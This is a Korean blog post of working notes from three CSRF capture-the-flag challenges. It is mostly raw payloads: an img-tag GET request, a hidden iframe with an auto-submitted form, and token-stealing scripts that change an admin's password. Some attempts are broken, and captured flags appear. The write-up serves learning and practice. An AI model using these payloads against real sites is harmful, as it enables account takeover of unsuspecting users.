CTF CSRF
GET Admin 1
회원가입 id pw
로그인 id pw
id=&info=&pw=1
GET /csrf_1/mypage_update.php?id=&info=&pw=1 get 방식으로 전환
접속시 alert 회원정보 수정에 성공했다는 메세지 뜸 get방식 사용가능 그러나 관리자가 눈치챔
게시판 글쓰기
------WebKitFormBoundarypBXHwQx5OA8BdH3i
Content-Disposition: form-data; name="create_title"
title<'">
------WebKitFormBoundarypBXHwQx5OA8BdH3i
Content-Disposition: form-data; name="create_body"
content<'">
------WebKitFormBoundarypBXHwQx5OA8BdH3i--
게시판 글 보기
<div class = "posting_title">title<'"></div>
<div class = "posting_contents">content<'"></div>
<'"> 치환안됨
게시판 내용작성
<img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1">
------WebKitFormBoundaryGBoekF4RNfBYrejf
Content-Disposition: form-data; name="create_title"
title
------WebKitFormBoundaryGBoekF4RNfBYrejf
Content-Disposition: form-data; name="create_body"
<img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1">
------WebKitFormBoundaryGBoekF4RNfBYrejf--
글보기
<div class = "posting_title">title</div>
<div class = "posting_contents"><img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1">
<img src="http://ctf.segfaulthub.com:7575/csrf_1/
mypage_update.php?pw=1">
//이미지를 해당 링크에서 가져오는 img태그를 이용해
//src에 해당하는 링크에 접속
</div>
<script>alert('회원 정보 수정에 성공하셨습니다!')</script><script>window.location.href='mypage.php';</script>
그러나 출력은 안됨 안들킬듯
http://ctf.segfaulthub.com:7575/csrf_1/notice_read.php?id=453&view=1
링크 관리자에게 보내기
공격할 아이디 id_admin
url http://ctf.segfaulthub.com:7575/csrf_1/notice_read.php?id=453&view=1
접속완료
id=id_admin pw=1
로그인
<script>alert('GOOD! Flag : segfault{csrfEEASY?}')</script>
GET Admin 2
id pw
회원가입 후 로그인
마이페이지
id=&info=&pw=1
GET 값으로 보내기
GET /csrf_2/mypage_update.php?id=&info=&pw=1 HTTP/1.1
에러 발생
POST METHOD CSRF
글쓰기 페이지 내용
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthframe">
<input type="hidden" name="pw" value="1">
</form>
<script> document.getElementById('Form').submit(); </script>
------WebKitFormBoundarycAzypV7V1lgzzwt6
Content-Disposition: form-data; name="create_title"
title
------WebKitFormBoundarycAzypV7V1lgzzwt6
Content-Disposition: form-data; name="create_body"
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthframe">
<input type="hidden" name="pw" value="1"/>
</form> <script> document.getElementById('Form').submit(); </script>
------WebKitFormBoundarycAzypV7V1lgzzwt6--
글보기
<div class = "posting_contents"><iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthframe">
<input type="hidden" name="pw" value="1"/>
</form> <script> document.getElementById('Form').submit(); </script></div>
<iframe width="0" height="0" border="0" name="stealthFrame" style="display: none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" target="stealthFrame">
<input type="hidden" name="pw" value="1">
</form>
<iframe width="0" height="0" border="0" id="stealthFrame" style="display: none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthFrame">
<input type="hidden" name="pw" value="1">
</form>
<script> document.getElementById('Form').submit(); </script>
스크립트는 알아챔
다시
<iframe width="0" height="0" border="0" id="stealthFrame" style="display: none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthFrame">
<input type="hidden" name="pw" value="1"/>
</form>
<img src=x onerror="document.getElementById('Form').submit();">
성공
<iframe id="stealthFrame" hidden></iframe>
//POST값을 접속할 마이페이지의 틀
<form method="POST"
action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php"
id="sendForm" target="stealthFrame">
//틀에 마이페이지 링크 삽입, POST값으로 form 생성
<input type="hidden" name="pw" value="1"/>
//보낼 비밀번호 값
</form>
<script> document.getElementById('sendForm').submit(); </script>
//form 값 제출
GET Admin 3
회원가입 id pw
로그인 id pw
<iframe id="getToken" hidden></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="Form" target="getToken">
<input type="hidden" id="signup_btnl" value="Update"/>
</form>
<script>alert(adminToken)</script>
<img src=x onerror="var adminToken=document.getElementsByName('csrf_token')[0].value">
<img src=x onerror="document.getElementById('Form').submit();">
<input type="hidden" name="pw" value="1"/>
<input type="hidden" name="csrf_token" value="adminToken"/>
<img src=x onerror="document.getElementById('Form').submit();">
</form>
<img src=x oneerror="var adminToken = document.getElementByName('csrf_token')[0].value>
<form method="GET" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php?" id="Form" target="stealthFrame">
<input type="hidden" name="pw" value="1"/>
<input type="hidden" name="csrf_token" value=adminToken/>
</form>
<img src=x onerror="document.getElementById('Form').submit();">
<iframe src= "http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken" hidden></iframe>
<img src=x onerror="var Code = document.getElementById('Form'); Code.submit(); var csrfToken=Code.elements['csrf_token'].value; window.parent.postMessage(csrfToken, '*');">
<script>window.addEventListener('message',function(event) {alert(event.data);alert('1');});
</script>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="Form" target="getToken">
</form>
<img src=x onerror="var Code = document.getElementById('Form'); Code.submit(); var csrfToken=Code.elements['csrf_token'].value; window.parent.postMessage(csrfToken, '*');">
<script>window.addEventListener('message',function(event) {
alert(event.data);
alert('1');
});
</script>
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken" hidden></iframe>
<img src=x onerror=" var Code = document.getElementById('getToken').contentWindow; var csrfToken = Code.document.getElementsByName('csrf_token')[0].value; window.parent.postMessage(csrfToken, '*');">
<img src=x onerror="var Token;window.addEventListener('message',function(event) {alert(event.data); Token=event.data});">
<iframe id="postToken" onload="var sendToken=Token" hidden></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="Form" target="postToken">
<input type="hidden" name="pw" value="1"/>
<input type="hidden" name="csrf_token" value=sendToken/>
</form>
<img src=x onerror="document.getElementById('Form').submit();">
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken" ></iframe>
<script>
var iframeDocument = document.getElementById('getToken').contentDocument;
var csrfToken = iframeDocument.getElementsByName('csrf_token')[0].value;
function clickButtonInIframe() {
// iframe 요소에 접근
var buttonOn = iframeDocument.getElementById('signup-btnl');
buttonOn.click();
}
function handleButtonClick(csrfToken) {
// 새로운 XMLHttpRequest 생성
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php', true);
// POST 데이터 설정 (예: pw=1, csrf_token=토큰값)
var postData = 'pw=1&csrf_token=' + csrfToken;
// 서버에 요청 보내기
xhr.send(postData);
}
handleButtonClick();
window.onload = clickButtonInIframe;
</script>
// iframe 내의 document에 접근
var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
// iframe 내의 버튼 요소에 접근
var buttonon = iframeDocument.getElementById('signup-btnl');
// 버튼 클릭 이벤트를 발생시킴
buttonon.click();
}
// 페이지 로드 시 자동으로 iframe 내의 버튼 클릭 함수 호출
window.onload = clickButtonInIframe;
function handleButtonClick() {
// 클릭한 후 실행되는 페이지로 POST 요청 보내기
var form = new XMLHttpRequest();
form.method = 'POST';
var input = document.createElement('input');
input.type = 'hidden'; input.name = 'pw'; input.value = '1';
form.appendChild(input); form.method = 'POST';
var input = document.createElement('input');
input.type = 'hidden'; input.name = 'csrf_token'; input.value = csrfToken;
form.appendChild(input);
// 폼을 body에 추가하고
submit document.body.appendChild(form); form.submit(); }
</script>
<form method="GET" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="Form" target="getToken">
<script>
var Code=document.getElementById('getToken').contentWindow;
var csrfToken = iframeDocument.getElementsByName('csrf_token')[0].value;
</script>
<form method="POST" id="Form" target="getToken">
<input type="hidden" name="pw" value="1"/>
<input type="hidden" id="sigup-btnl" value ="Update"/>
</form>
<img src=x onerror="document.getElementById('Form').submit();">
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken"></iframe>
<script>
// iframe 요소에 접근
var iframe = document.getElementById('getToken');
// iframe이 로드된 후에 실행되는 함수
iframe.onload = function () {
// iframe 내의 document에 접근
var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
// csrfToken을 iframe 내부에서 가져오기
var csrfToken = iframeDocument.getElementsByName('csrf_token')[0].value;
// iframe 내부에서 버튼 클릭하고 동시에 POST 요청 보내는 함수
function clickButtonAndSendPost() {
// iframe 내의 버튼 요소에 접근
var buttonOn = iframeDocument.getElementById('signup-btnl');
// 버튼 클릭 이벤트를 발생시킴 buttonOn.click();
// 새로운 XMLHttpRequest 생성
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// POST 데이터 설정 (예: pw=1, csrf_token=토큰값)
var postData = 'pw=1&csrf_token=' + encodeURIComponent(csrfToken);
// 서버에 요청 보내기 xhr.send(postData);
// 서버 응답 처리 (필요에 따라 구현)
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
console.log('Server response:', xhr.responseText);
// 서버 응답을 이용한 다양한 작업 수행 가능
}
};
} // 실행시키기
clickButtonAndSendPost();
};
</script>
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken" onload="token()" hidden></iframe>
<form action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="sendForm" method="POST" target="sendToken">
<input type="hidden" name="pw" value="1">
<input type="hidden" name="csrf_token" value="">
</form>
<script>
function token() {
document.getElementById('getToken').contentWindow.alert = function() {};
var csrfToken = document.getElementById('getToken').contentWindow.document.getElementsByName('csrf_token')[0].value;
document.getElementById('sendForm').querySelector('input[name="csrf_token"]').value = csrfToken;
document.getElementById('sendForm').submit();
}
</script>
<iframe
src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php"
id="getToken" onload="token()" hidden>
</iframe>
//토큰 함수가 로드되면 실행될 토큰을 얻을 마이페이지의 틀
<form
action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php"
id="sendForm" method="POST" target="sendToken">
<input type="hidden" name="pw" value="1">
<input type="hidden" name="csrf_token" value="">
</form>
//마이페이지 업데이크 링크에 POST값으로 비밀번호 값과 토큰값을 넣을 form 생성
<script>
function token() {
document.getElementById('getToken').contentWindow.alert = function() {};
//마이페이지에서 실행되는 alert함수를 삭제
var csrfToken = document.getElementById('getToken')
.contentWindow.document.getElementsByName('csrf_token')[0].value;
//마이페이지에서 토큰이 발행되는 태그이름을 통해 토큰을 가져옴
document.getElementById('sendForm').querySelector('input[name="csrf_token"]')
.value = csrfToken;
//마이페이지에서 가져온 토큰을 업데이트 form에 삽입
document.getElementById('sendForm').submit();
//마이페이지 업데이트 링크에 생성한 폼 제출
}
</script>
http://ctf.segfaulthub.com:7575/csrf_3/notice_read.php?id=123&view=1
비밀번호 변경됨
'CTF' 카테고리의 다른 글
CTF ClientScript (0) | 2024.01.25 |
---|